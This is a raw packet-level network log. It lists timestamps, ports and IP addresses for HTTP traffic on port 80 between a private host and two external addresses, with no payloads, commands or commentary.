Apr 13, 2024 20:21:17.052838087 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052851915 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052877903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052896976 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052917957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052933931 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052957058 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052974939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.052998066 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053018093 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053042889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053056955 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053083897 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053102016 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053126097 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053144932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053164959 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053184986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053205013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053225040 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053246021 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053258896 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053283930 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053304911 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053325891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053344011 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053369045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053390026 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053411961 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053431988 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053451061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053472996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053494930 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053514004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053531885 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053553104 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053570986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053592920 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053622961 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053637981 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053663969 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053683043 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053705931 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053725004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053749084 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053761005 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053786993 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053806067 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053828955 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053848028 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053870916 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053885937 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053910971 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053932905 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053955078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053977013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.053999901 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054019928 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054044962 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054055929 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054198027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054198027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054198027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054198027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054198027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054198027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054198027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054218054 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054245949 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054261923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054284096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054302931 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054330111 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054341078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054368019 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054379940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054408073 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054420948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054445982 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054464102 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054490089 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054502964 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054527998 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054548025 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054568052 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054590940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054617882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054635048 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054656029 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054676056 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054696083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054713011 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054735899 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054753065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054778099 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054799080 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054820061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054836988 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054860115 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054876089 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054903984 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054923058 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054945946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054965019 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.054986954 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055003881 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055027962 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055047035 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055069923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055088997 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055111885 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055130959 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055152893 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055170059 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055227995 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055269957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055269957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055269957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055269957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055326939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055362940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055387020 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055408001 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055433989 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055453062 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055476904 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055495977 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055515051 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055537939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055550098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055577040 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055596113 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055620909 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055633068 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055661917 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055691004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055718899 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055731058 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055754900 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055773020 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055794954 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055814981 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055839062 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055862904 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055885077 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055897951 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055922985 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055943012 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055965900 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.055988073 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056006908 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056019068 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056046963 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056058884 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056082964 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056102037 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056124926 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056143045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056164980 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056183100 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056206942 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056250095 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056250095 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056260109 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056288004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056304932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056325912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056345940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056365967 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056379080 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056405067 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056425095 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056446075 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056464911 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056485891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056507111 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056529045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056544065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056566954 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056591988 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056607008 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056626081 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056644917 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056663990 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056685925 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056705952 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056729078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056741953 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056767941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056783915 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056807995 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056826115 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056849957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056864023 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056886911 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056905985 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056927919 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056940079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056967020 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.056988955 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057008982 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057035923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057055950 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057075977 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057104111 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057122946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057147980 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057157993 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057185888 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057198048 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057220936 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057240963 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057281017 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057310104 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057332993 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057351112 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057370901 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057391882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057408094 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057434082 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057466984 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057486057 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057503939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057527065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057543039 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057566881 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057585955 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057609081 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057630062 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057651997 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057670116 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057691097 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057708979 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057728052 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057748079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057770014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057790041 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057828903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057902098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057902098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057902098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057923079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057940960 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057961941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057987928 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.057996988 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058023930 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058044910 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058063984 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058079958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058104038 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058124065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058151960 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058176041 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058197975 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058217049 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058243990 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058259964 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058280945 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058299065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058320045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058336973 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058358908 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058379889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058396101 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058414936 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058443069 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058461905 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058481932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.058490992 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.389223099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389290094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389328003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389364958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389405012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389441967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389480114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389511108 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389512062 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389512062 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389523029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389586926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389592886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389631033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389667988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389672041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389708042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389744043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389744043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389749050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389786959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389815092 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389823914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389861107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389888048 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389898062 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389906883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.389940023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.389976025 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.389997005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390007019 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390039921 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390070915 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390103102 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390134096 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390163898 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390193939 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390223980 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390254021 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390285015 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390319109 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390348911 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390379906 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390410900 CEST	80	49741	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:17.390448093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390485048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390507936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390522957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390539885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390562057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390580893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390599966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390619993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390644073 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390650988 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390681982 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390696049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390722036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390758038 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390779972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390795946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.390816927 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.390839100 CEST	80	49744	193.233.132.167	192.168.2.4
